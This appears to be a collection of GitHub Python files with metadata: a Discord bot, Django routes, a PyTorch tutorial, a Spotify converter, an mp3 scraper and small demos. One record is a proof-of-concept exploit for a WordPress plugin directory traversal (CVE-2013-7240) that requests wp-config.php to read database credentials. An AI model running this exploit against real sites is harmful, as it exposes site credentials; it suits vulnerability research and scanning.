{"seq_id": "8081837979", "text": "# import modules\nimport discord\nfrom discord.ext import commands\nimport random\n\n# import other files\nimport settings\n\n# logger\nlogger = settings.logging.getLogger(\"bot\")\n\n# if debug, conf should be this and if not, conf should be that\nif not settings.Config.debug:\n conf = settings.Config.Main\nelse:\n conf = settings.Config.Debug\n\n\n# make cog\nclass Suggestions(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n\n # look for messages\n @commands.Cog.listener()\n async def on_message(self, message: discord.Message):\n ...\n # checks if the message is in the target guild, in the taget channel, if the author is a bot, if the message has embeds, and if the author is not itself\n if (\n message.type == discord.MessageType.default\n and message.channel.guild.id == conf.guildid\n and message.channel.id == conf.suggestionchannelid\n and message.author.bot\n and message.embeds != None\n and message.author != self.bot\n ):\n # creates a thread on the message :)\n await message.create_thread(name=message.embeds[0].description[:100])\n \n @commands.Cog.listener()\n async def on_reaction_add(self, reaction: discord.Reaction, user: [discord.Member, discord.User]):\n if user.bot == False:\n msg = reaction.message\n if reaction.message.channel == self.bot.get_guild(conf.guildid).get_channel(conf.suggestionchannelid):\n for r in msg.reactions:\n if r != reaction:\n async for u in r.users():\n if u == user:\n await r.remove(u)\n\n @commands.group(breif=\"Suggestion commands\", description=\"Suggestion commands\")\n async def suggest(self, ctx: commands.Context):\n if ctx.subcommand_passed is None:\n return ctx.reply(\n content=\"{ctx.subcommand_passed} is not part of the suggest group.\",\n delete_after=60,\n mention_author=False,\n )\n\n @suggest.command(\n breif=\"Suggest a server feature.\", description=\"Suggest a server feature.\"\n )\n async def create(self, ctx: commands.Context, *feature: str):\n if feature == ():\n return await ctx.reply(content=\"Please put in a suggestion...\", mention_author=False)\n description = \" \".join(feature)\n suggestion_id = random.randrange(1001, 10001)\n embed = discord.Embed(\n description=description,\n colour=discord.Colour.blurple(),\n )\n embed.set_author(icon_url=ctx.author.display_avatar, name=ctx.author.display_name)\n channel = self.bot.get_guild(conf.guildid).get_channel(conf.suggestionchannelid)\n async with ctx.typing():\n msg = await channel.send(embed=embed)\n await msg.add_reaction(\"<:agree:1167505718535008256>\")\n await msg.add_reaction(\"<:neutral:1167505790723170414>\")\n await msg.add_reaction(\"<:disagree:1167505754098507817>\")\n return await ctx.reply(content=f\"I've sent your suggestion to {msg.channel.mention}.\", mention_author=False)\n\n @suggest.command(\n breif=\"(STAFF) Note that a server suggestion has been implemented.\", description=\"(STAFF) Note that a server suggestion has been implemented.\"\n )\n async def implemented(self, ctx: commands.Context):\n if commands.has_permissions(manage_channels=True) or commands.has_permissions(administrator=True):\n if ctx.channel.type == discord.ChannelType.public_thread:\n message = await ctx.channel.parent.fetch_message(ctx.channel.id)\n if message.channel.id != conf.suggestionchannelid or message.embeds == None:\n return await ctx.reply(content=\"Please make sure you are in the thread attached to a suggestion!\")\n embed = message.embeds[0]\n emb = discord.Embed(title=embed.title, description=embed.description, colour=discord.Colour.brand_green())\n emb.set_author(icon_url=embed.author.icon_url, name=embed.author.name)\n emb.set_footer(text=\"Suggestion marked as implemented, voting closed.\")\n for reaction in message.reactions:\n emb.add_field(name=reaction.emoji, value=(reaction.count - 1), inline=True)\n await message.edit(embed=emb)\n await message.clear_reactions()\n await ctx.reply(content=\"Marked as implemented!\", mention_author=False)\n return await ctx.channel.edit(archived=True)\n else:\n return await ctx.reply(content=\"Please make sure you are in the thread attached to a suggestion!\")\n else:\n return await ctx.reply(content=\"You don't have the permissions to mark this suggestion as implemented.\")\n\n\n# add cog to bot\nasync def setup(bot: commands.Bot):\n await bot.add_cog(Suggestions(bot))\n logger.info(\"ext.events.suggestions okay\")\n", "repo_name": "valbuilds/bee-bee-see-bot", "sub_path": "ext/events/suggestions.py", "file_name": "suggestions.py", "file_ext": "py", "file_size_in_byte": 5034, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "settings.logging.getLogger", "line_number": 10, "usage_type": "call"}, {"api_name": "settings.logging", "line_number": 10, "usage_type": "attribute"}, {"api_name": "settings.Config", "line_number": 13, "usage_type": "attribute"}, {"api_name": "settings.Config", "line_number": 14, "usage_type": "attribute"}, {"api_name": "settings.Config", "line_number": 16, "usage_type": "attribute"}, {"api_name": "discord.ext.commands.Cog", "line_number": 20, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 20, "usage_type": "name"}, {"api_name": "discord.Message", "line_number": 26, "usage_type": "attribute"}, {"api_name": "discord.MessageType", "line_number": 30, "usage_type": "attribute"}, {"api_name": "discord.ext.commands.Cog.listener", "line_number": 25, "usage_type": "call"}, {"api_name": "discord.ext.commands.Cog", "line_number": 25, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 25, "usage_type": "name"}, {"api_name": "discord.Reaction", "line_number": 41, "usage_type": "attribute"}, {"api_name": "discord.Member", "line_number": 41, "usage_type": "attribute"}, {"api_name": "discord.User", "line_number": 41, "usage_type": "attribute"}, {"api_name": "discord.ext.commands.Cog.listener", "line_number": 40, "usage_type": "call"}, {"api_name": "discord.ext.commands.Cog", "line_number": 40, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 40, "usage_type": "name"}, {"api_name": "discord.ext.commands.Context", "line_number": 52, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 52, "usage_type": "name"}, {"api_name": "discord.ext.commands.group", "line_number": 51, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 51, "usage_type": "name"}, {"api_name": "discord.ext.commands.Context", "line_number": 63, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 63, "usage_type": "name"}, {"api_name": "random.randrange", "line_number": 67, "usage_type": "call"}, {"api_name": "discord.Embed", "line_number": 68, "usage_type": "call"}, {"api_name": "discord.Colour.blurple", "line_number": 70, "usage_type": "call"}, {"api_name": "discord.Colour", "line_number": 70, "usage_type": "attribute"}, {"api_name": "discord.ext.commands.Context", "line_number": 84, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 84, "usage_type": "name"}, {"api_name": "discord.ext.commands.has_permissions", "line_number": 85, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 85, "usage_type": "name"}, {"api_name": "discord.ChannelType", "line_number": 86, "usage_type": "attribute"}, {"api_name": "discord.Embed", "line_number": 91, "usage_type": "call"}, {"api_name": "discord.Colour.brand_green", "line_number": 91, "usage_type": "call"}, {"api_name": "discord.Colour", "line_number": 91, "usage_type": "attribute"}, {"api_name": "discord.ext.commands.Bot", "line_number": 107, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 107, "usage_type": "name"}]} {"seq_id": "6154872622", "text": "from django.urls import path\nfrom .views import (\n pega_dia_atual_view, agendar_task_view, chain_task_view,\n retry_task_division_view, task_loop_list_view, task_state_view, task_loop_view,\n home_tasks\n )\n\nurlpatterns = [\n path('home/', home_tasks, name=\"home\"),\n path('dia_atual_task/', pega_dia_atual_view, name=\"dia_atual_task\"),\n path('agendar_task/', agendar_task_view, name=\"agendar_task\"),\n path('chain_task/', chain_task_view, name=\"chain_task\"),\n path('retry_task/', retry_task_division_view, name=\"retry_task\"),\n path('task_loop_list/', task_loop_list_view, name='task_loop_list'),\n path('task_loop/', task_loop_view, name=\"task_loop\"),\n path('task_state//', task_state_view, name='task_state'),\n]\n", "repo_name": "AyrtonMoises/django_celery_rabbitmq", "sub_path": "fila/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 756, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "views.home_tasks", "line_number": 9, "usage_type": "argument"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "views.pega_dia_atual_view", "line_number": 10, "usage_type": "argument"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "views.agendar_task_view", "line_number": 11, "usage_type": "argument"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "views.chain_task_view", "line_number": 12, "usage_type": "argument"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "views.retry_task_division_view", "line_number": 13, "usage_type": "argument"}, {"api_name": "django.urls.path", "line_number": 14, "usage_type": "call"}, {"api_name": "views.task_loop_list_view", "line_number": 14, "usage_type": "argument"}, {"api_name": "django.urls.path", "line_number": 15, "usage_type": "call"}, {"api_name": "views.task_loop_view", "line_number": 15, "usage_type": "argument"}, {"api_name": "django.urls.path", "line_number": 16, "usage_type": "call"}, {"api_name": "views.task_state_view", "line_number": 16, "usage_type": "argument"}]} {"seq_id": "13874180012", "text": "# Transforms\n\n# data is not always in final processed form that is required for training macchine learning algorithms\n# we use TRANSFORMMS to perform some manipulation of data and make it suitable for training\n\n# All TorcchVision datasets have two parameters:\n# - transform: modify the features\n# - target_transform: modify the labels\n\n# FashionMMNIST features are in PIL Image format, and the labels are integers\n# for training, we need the features as normmalized tensors and the labels as one-hot encoded tensors.\n# to makke these transformations, we use \"ToTensor\" and \"Lambda\"\n\nimport torch\nfrom torchvision import datasets\nfrom torchvision.transforms import ToTensor, Lambda\n\nds = datasets.FashionMNIST(\n root=\"data\",\n train=True,\n download=True,\n # ToTensor()\n # ToTensor converts a PIL image or NumPy ndarray into a FloatTensor and scales the image's pixel intensity values in the range[0., 1.] \n transform=ToTensor(),\n\n # Lambda Transforms\n # Lambda transforms apply any user-defined lambda function. <--?\n # Here, we define a function to turn the integer into a one-hot encoded tensor.\n # it first creates a tensor of size 10 (the number of labels in our dataset) and calls scatter_ which assigns a value=1 on the index as given by the label y.\n target_transform=Lambda(lambda y: torch.zeros(10, dtype=torch.float).scatter_(0, torch.tensor(y), value=1))\n)\n\n# my question is: why do you need to use ToTensor() if you have from_numpy() function?? maybe??\n# maybe because that change of tensor is different fromm initializing the dataset\n\n\n", "repo_name": "jasonw0416/PyTorchDemo", "sub_path": "IntroToPyTorch/transforms.py", "file_name": "transforms.py", "file_ext": "py", "file_size_in_byte": 1585, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "torchvision.datasets.FashionMNIST", "line_number": 18, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 18, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 24, "usage_type": "call"}, {"api_name": "torchvision.transforms.Lambda", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.float", "line_number": 30, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 30, "usage_type": "call"}]} {"seq_id": "73196279612", "text": "import json\nfrom multiprocessing.sharedctypes import Value\n\nfrom spotipy.exceptions import SpotifyException\nimport convertlib\nimport spotipy\nimport io\nimport json\nimport os\nfrom datetime import date\n\n\nSPOTIFY_API_CLIENT_ID = os.environ[\"SPOTIFY_API_CLIENT_ID\"]\nSPOTIFY_API_CLIENT_SECRET = os.environ[\"SPOTIFY_API_CLIENT_SECRET\"]\n\n# use memory cache handler\n# we only need to store one token, and Lambda instances don't have filesystem access\ncache_handler = spotipy.cache_handler.MemoryCacheHandler()\n\n# initialize login credentials\nspotify_creds = spotipy.SpotifyClientCredentials(\n client_id=SPOTIFY_API_CLIENT_ID, client_secret=SPOTIFY_API_CLIENT_SECRET, cache_handler=cache_handler)\nspotify = spotipy.Spotify(client_credentials_manager=spotify_creds)\n\n\ndef _make_response(response: dict) -> dict:\n \"\"\"Takes a response object and adds CORS headers.\n \"\"\"\n # base response\n base_response = {\n \"headers\": {\n # allow requests from all origins\n \"Access-Control-Allow-Origin\": \"*\"\n }\n }\n\n # merge dictionaries, with the argument taking precedence\n return {**base_response, **response}\n\n\ndef convert_new_playlist(event, context):\n body = json.loads(event.get(\"body\", \"{}\"))\n playlist_url = body[\"playlist_url\"]\n\n try:\n # try and extract playlist id from URL\n # note: spotipy actually can handle playlist URLs, but by\n # doing this validation ourselves, we can at least provide\n # some nicer error messages in case the user does something wrong.\n playlist_id = convertlib.extract_playlist_id_from_url(playlist_url)\n except ValueError as e:\n response = {\n \"statusCode\": 400,\n \"body\": json.dumps({\n \"error\": str(e)\n })\n }\n\n return _make_response(response)\n\n try:\n # buffer we will write output CSV into\n buffer = io.StringIO()\n # write_new_playlist_csv returns the warnings encountered\n # writes the converted CSV into buffer\n playlist_name, warnings = convertlib.write_new_playlist_csv(\n spotify, playlist_id, buffer)\n\n except (SpotifyException, RuntimeError) as e:\n response = {\n \"statusCode\": 400,\n \"body\": json.dumps({\n \"error\": str(e)\n })\n }\n\n return _make_response(response)\n\n # seek to beginning of buffer so we can begin reading\n buffer.seek(0)\n\n response = {\n \"statusCode\": 200,\n \"body\": json.dumps({\n \"playlistName\": playlist_name,\n \"warnings\": warnings,\n \"body\": buffer.read()\n })\n }\n\n return _make_response(response)\n\n\ndef convert_old_playlist(event, context):\n body = json.loads(event.get(\"body\", \"{}\"))\n playlist_url = body[\"playlist_url\"]\n show_title = body[\"show_title\"]\n try:\n # validate the show date selected by the user\n show_date = date.fromisoformat(body[\"show_date\"])\n except ValueError as e:\n # invalid ISO date\n response = {\n \"statusCode\": 400,\n \"body\": json.dumps({\n \"error\": f\"Invalid date: {body['show_date']}\"\n })\n }\n\n return _make_response(response)\n\n try:\n # try and extract playlist id from URL\n # note: spotipy actually can handle playlist URLs, but by\n # doing this validation ourselves, we can at least provide\n # some nicer error messages in case the user does something wrong.\n playlist_id = convertlib.extract_playlist_id_from_url(playlist_url)\n except ValueError as e:\n response = {\n \"statusCode\": 400,\n \"body\": json.dumps({\n \"error\": str(e)\n })\n }\n\n return _make_response(response)\n\n try:\n # buffer we will write output CSV into\n buffer = io.StringIO()\n # write_new_playlist_csv returns the warnings encountered\n # writes the converted CSV into buffer\n playlist_name, warnings = convertlib.write_old_playlist_csv(\n spotify, playlist_id, show_title, show_date, buffer)\n\n except (SpotifyException, RuntimeError) as e:\n response = {\n \"statusCode\": 400,\n \"body\": {\n \"error\": str(e)\n }\n }\n\n return _make_response(response)\n\n # seek to beginning of buffer so we can begin reading\n buffer.seek(0)\n\n response = {\n \"statusCode\": 200,\n \"body\": json.dumps({\n \"playlistName\": playlist_name,\n \"warnings\": warnings,\n \"body\": buffer.read()\n })\n }\n\n return _make_response(response)\n", "repo_name": "joek13/wxtj-converter", "sub_path": "backend/wxtj-converter-api/handler.py", "file_name": "handler.py", "file_ext": "py", "file_size_in_byte": 4670, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.environ", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 14, "usage_type": "attribute"}, {"api_name": "spotipy.cache_handler.MemoryCacheHandler", "line_number": 18, "usage_type": "call"}, {"api_name": "spotipy.cache_handler", "line_number": 18, "usage_type": "attribute"}, {"api_name": "spotipy.SpotifyClientCredentials", "line_number": 21, "usage_type": "call"}, {"api_name": "spotipy.Spotify", "line_number": 23, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 42, "usage_type": "call"}, {"api_name": "convertlib.extract_playlist_id_from_url", "line_number": 50, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 54, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 63, "usage_type": "call"}, {"api_name": "convertlib.write_new_playlist_csv", "line_number": 66, "usage_type": "call"}, {"api_name": "spotipy.exceptions.SpotifyException", "line_number": 69, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 72, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 84, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 95, "usage_type": "call"}, {"api_name": "datetime.date.fromisoformat", "line_number": 100, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 100, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 105, "usage_type": "call"}, {"api_name": "convertlib.extract_playlist_id_from_url", "line_number": 117, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 121, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 130, "usage_type": "call"}, {"api_name": "convertlib.write_old_playlist_csv", "line_number": 133, "usage_type": "call"}, {"api_name": "spotipy.exceptions.SpotifyException", "line_number": 136, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 151, "usage_type": "call"}]} {"seq_id": "23405839999", "text": "#!/user/bin/env python\n# -*- coding: utf-8 -*-\n# @Time :2021/1/25 17:32\n# @Author :Alive\n# @Site :\n# @File :更听舞曲下载.py\n# @Software:PyCharm\nimport requests\nfrom lxml import etree\nimport os\n\nif __name__ == '__main__':\n # 创建音乐文件夹\n if not os.path.exists('./音乐'):\n os.mkdir('./音乐')\n # 指定url\n url = 'http://www.333ttt.com/up/top16.html'\n # UA 伪装\n headers = {\n 'UserAgent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0'\n }\n page_text = requests.get(url=url, headers=headers).text\n tree = etree.HTML(page_text)\n li_list = tree.xpath('//div[@class=\"songlist\"]/ul/li')\n for li in li_list:\n title = li.xpath('.//span[@class=\"l_bt_da\"]/a//text()')[0] + '.mp3'\n last_url = li.xpath('.//span[@class=\"l_xz\"]//text()')[0].split('\\\\')[5].split('\\'')[1]\n music_data = requests.get(url=last_url, headers=headers).content\n filePath = './音乐/' + title\n with open(filePath, 'wb') as fp:\n fp.write(music_data)\n print(title + \"下载完成\")\n fp.close()\n print(\"下载完成\")\n", "repo_name": "Dbin98/myproject", "sub_path": "数据解析/更听舞曲下载.py", "file_name": "更听舞曲下载.py", "file_ext": "py", "file_size_in_byte": 1152, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.exists", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 15, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 22, "usage_type": "call"}, {"api_name": "lxml.etree.HTML", "line_number": 23, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 23, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 28, "usage_type": "call"}]} {"seq_id": "655557737", "text": "import requests\n\n\n# Vuln Base Info\ndef info():\n return {\n \"author\": \"cckuailong\",\n \"name\": '''WordPress Plugin Advanced Dewplayer 1.2 - Directory Traversal''',\n \"description\": '''A directory traversal vulnerability in download-file.php in the Advanced Dewplayer plugin 1.2 for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the dew_file parameter.''',\n \"severity\": \"high\",\n \"references\": [\n \"https://www.exploit-db.com/exploits/38936\", \n \"https://nvd.nist.gov/vuln/detail/CVE-2013-7240\", \n \"https://wordpress.org/support/topic/security-vulnerability-cve-2013-7240-directory-traversal/\"\n ],\n \"classification\": {\n \"cvss-metrics\": \"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\",\n \"cvss-score\": \"7.5\",\n \"cve-id\": \"CVE-2013-7240\",\n \"cwe-id\": \"CWE-22\"\n },\n \"metadata\":{\n \"vuln-target\": \"\",\n \n },\n \"tags\": [\"cve\", \"cve2013\", \"wordpress\", \"wp-plugin\", \"lfi\"],\n }\n\n\n# Vender Fingerprint\ndef fingerprint(url):\n return True\n\n# Proof of Concept\ndef poc(url):\n result = {}\n try:\n url = format_url(url)\n path = '/wp-content/plugins/advanced-dewplayer/admin-panel/download-file.php?dew_file=../../../../wp-config.php'\n\n resp = requests.get(url+path, timeout=10, verify=False, allow_redirects=False)\n if resp.status_code == 200 and \"DB_NAME\" in resp.text and \"DB_PASSWORD\" in resp.text and \"DB_HOST\" in resp.text and \"The base configurations of the WordPress\" in resp.text: \n result[\"success\"] = True\n result[\"info\"] = info()\n result[\"payload\"] = url+path\n\n except:\n result[\"success\"] = False\n \n return result\n\n\n# Exploit, can be same with poc()\ndef exp(url):\n return poc(url)\n\n\n# Utils\ndef format_url(url):\n url = url.strip()\n if not ( url.startswith('http://') or url.startswith('https://') ):\n url = 'http://' + url\n url = url.rstrip('/')\n\n return url", "repo_name": "cckuailong/reapoc", "sub_path": "2013/CVE-2013-7240/poc/pocsploit/CVE-2013-7240.py", "file_name": "CVE-2013-7240.py", "file_ext": "py", "file_size_in_byte": 2061, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 641, "dataset": "github-code", "pt": "78", "api": [{"api_name": "requests.get", "line_number": 41, "usage_type": "call"}]} {"seq_id": "13667292179", "text": "import cv2, math, sys, os\n\nif __name__ == '__main__':\n ImFile = sys.argv[1]\n Image = cv2.imread(ImFile, -1)\n OutIm = Image\n Size = (224, 224) # W, H\n # Size = (1920, 1080) # W, H\n # Size = (320, 240) # W, H\n # Size = (1100, 500) # W, H\n # Size = (600, 100) # W, H\n\n if Size is not None:\n # Check if the aspect ratios are the same\n OrigSize = Image.shape[:-1]\n OrigAspectRatio = OrigSize[1] / OrigSize[0] # W / H\n ReqAspectRatio = Size[0] / Size[1] # W / H # CAUTION: Be aware of flipped indices\n print(OrigAspectRatio)\n print(ReqAspectRatio)\n if math.fabs(OrigAspectRatio-ReqAspectRatio) > 0.01:\n # Different aspect ratio detected. So we will be fitting the smallest of the two images into the larger one while centering it\n # After centering, we will crop and finally resize it to the request dimensions\n if ReqAspectRatio < OrigAspectRatio:\n NewSize = [OrigSize[0], int(OrigSize[0] * ReqAspectRatio)] # Keep height\n Center = int(OrigSize[1] / 2) - 1\n HalfSize = int(NewSize[1] / 2)\n Image = Image[:, Center-HalfSize:Center+HalfSize, :]\n else:\n NewSize = [int(OrigSize[1] / ReqAspectRatio), OrigSize[1]] # Keep width\n Center = int(OrigSize[0] / 2) - 1\n HalfSize = int(NewSize[0] / 2)\n Image = Image[Center-HalfSize:Center+HalfSize, :, :]\n OutIm = cv2.resize(Image, dsize=Size, interpolation=cv2.INTER_CUBIC)\n\n print('Output image size:', OutIm.shape)\n cv2.imwrite('out.png', OutIm)\n\n", "repo_name": "drsrinathsridhar/tk3dv", "sub_path": "tests/resizeImage.py", "file_name": "resizeImage.py", "file_ext": "py", "file_size_in_byte": 1637, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 27, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sys.argv", "line_number": 4, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 5, "usage_type": "call"}, {"api_name": "math.fabs", "line_number": 20, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 33, "usage_type": "call"}, {"api_name": "cv2.INTER_CUBIC", "line_number": 33, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 36, "usage_type": "call"}]} {"seq_id": "30243782340", "text": "from django.conf import settings\nfrom django.conf.urls.static import static\nfrom django.urls import path\nfrom . import views\nurlpatterns = [\n path('',views.index,name='home' ),\n path('register',views.register,name='register' ),\n path('login',views.login_attemp,name='login' ),\n path('mailsent',views.verify,name='mailsent' ),\n path('sendMail',views.sendMail,name='sendMail' ),\n path('logout',views.logout_attemp,name='logout' ),\n path('about',views.about,name='about' ),\n path('contact',views.contact,name='contact' ),\n path('dopost',views.dopost,name='dopost' ),\n path('userhome',views.userhome,name='userhome' ),\n path('myblog/',views.myblog,name='myblog' ),\n path('deletepost/',views.deletepost,name='deletepost' ),\n path('update/',views.update,name='update' ),\n path('category/',views.category,name='category'),\n path('comment',views.comment,name='comment' ),\n path('search',views.search,name='search' ),\n path('detailpage/',views.detailpage,name='detailpage' ),\n] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n", "repo_name": "ShivPatel9211/MyBolg-Django-", "sub_path": "Blog/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 1124, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.urls.path", "line_number": 6, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 14, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 15, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 16, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 17, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 18, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 19, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 20, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 21, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 22, "usage_type": "call"}, {"api_name": "django.conf.urls.static.static", "line_number": 23, "usage_type": "call"}, {"api_name": "django.conf.settings.MEDIA_URL", "line_number": 23, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 23, "usage_type": "name"}, {"api_name": "django.conf.settings.MEDIA_ROOT", "line_number": 23, "usage_type": "attribute"}]} {"seq_id": "17405953642", "text": "import random\nfrom time import sleep\n\nimport pygame\nimport pygame.midi\n\nfrom genomereader import genome_line_generator\n\nGRAND_PIANO = 0\n\n\ndef get_note(char):\n if char == 'A':\n return 81\n elif char == 'C':\n return 72\n elif char == 'G':\n return 79\n elif char == 'T':\n return random.choice((74, 76, 77, 83))\n else:\n return random.choice((74, 76, 77, 83))\n\n\ndef play_chord(midi, chord, on):\n midi.set_instrument(2, 1)\n if on:\n for char in chord:\n midi.note_on(get_note(char) - 24, 100)\n else:\n for char in chord:\n midi.note_off(get_note(char) - 24, 100)\n\n\ndef get_duration(char):\n if char == 'A':\n return 0.25\n elif char == 'C':\n return 0.5\n elif char == 'G':\n return 0.25\n else:\n return random.choice((0.25, 0.5)) \n\n\ndef play_genome():\n # start pygame.midi\n pygame.midi.init()\n\n # Get port to send midi instructions to.\n port = pygame.midi.get_default_output_id()\n midi_out = pygame.midi.Output(port)\n try:\n \n for line in genome_line_generator:\n if line[0] == 'N':\n continue\n \n for n in range(0, 70, 7):\n chord = line[n+3:n+6]\n duration = get_duration(line[6])\n \n play_chord(midi_out, chord, True)\n for char in line[n:n+3]: \n midi_out.set_instrument(GRAND_PIANO, 0)\n midi_out.note_on(get_note(char)- 12, 127)\n sleep(duration)\n midi_out.note_off(get_note(char) - 12, 127)\n play_chord(midi_out, chord, False)\n\n finally:\n del midi_out\n pygame.midi.quit()\n\nplay_genome()\n", "repo_name": "logston/talks", "sub_path": "2014-05-29_Biology+Python/playgenome2.py", "file_name": "playgenome2.py", "file_ext": "py", "file_size_in_byte": 1765, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "78", "api": [{"api_name": "random.choice", "line_number": 20, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 22, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 43, "usage_type": "call"}, {"api_name": "pygame.midi.init", "line_number": 48, "usage_type": "call"}, {"api_name": "pygame.midi", "line_number": 48, "usage_type": "attribute"}, {"api_name": "pygame.midi.get_default_output_id", "line_number": 51, "usage_type": "call"}, {"api_name": "pygame.midi", "line_number": 51, "usage_type": "attribute"}, {"api_name": "pygame.midi.Output", "line_number": 52, "usage_type": "call"}, {"api_name": "pygame.midi", "line_number": 52, "usage_type": "attribute"}, {"api_name": "genomereader.genome_line_generator", "line_number": 55, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 67, "usage_type": "call"}, {"api_name": "pygame.midi.quit", "line_number": 73, "usage_type": "call"}, {"api_name": "pygame.midi", "line_number": 73, "usage_type": "attribute"}]} {"seq_id": "13759634499", "text": "# -*- coding: utf-8 -*-\r\n'''\r\nCreated on 2019年5月5日\r\n\r\n@author: Zhukun Luo\r\nJiangxi university of finance and economics\r\n'''\r\n#theano代码示例\r\nimport theano.tensor as T\r\nimport theano as th\r\na=T.scalar('a')\r\na_sq=a**2\r\nprint(a_sq)#Elemwise{pow,no_inplace}.0\r\ncompute_square=th.function([a],a_sq)#返回一个可直接使用的pyhton函数\r\nprint(compute_square(2))#4.0,类型默认为float64\r\nprint(a.dtype)#float64\r\n#相比于numba，theano不会编译通用的python代码，也不做任何类型推断，必须准确指定类型\r\n#theano真正的威力在于它对于数组的支持。要定义一维向量，可使用函数T.vector,它返回的变量支持广播操作，就像numpy数组一样\r\na=T.vector('a')\r\nb=T.vector('b')\r\nab_sq=a**2+b**2\r\ncompute_square1=th.function([a,b],ab_sq)\r\nre=compute_square1([0,1,2],[3,4,5])\r\nprint(re)#[ 9. 17. 29.]\r\n#将Theano API作为一种微型语言，用来合并各种numpy数组表达式，这样将生成高效的机器码\r\n\r\n", "repo_name": "BigBigRadish/python_high_performance", "sub_path": "parallel_processing/theano_dmeo.py", "file_name": "theano_dmeo.py", "file_ext": "py", "file_size_in_byte": 983, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "78", "api": [{"api_name": "theano.tensor.scalar", "line_number": 11, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 11, "usage_type": "name"}, {"api_name": "theano.function", "line_number": 14, "usage_type": "call"}, {"api_name": "theano.tensor.vector", "line_number": 19, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 19, "usage_type": "name"}, {"api_name": "theano.tensor.vector", "line_number": 20, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 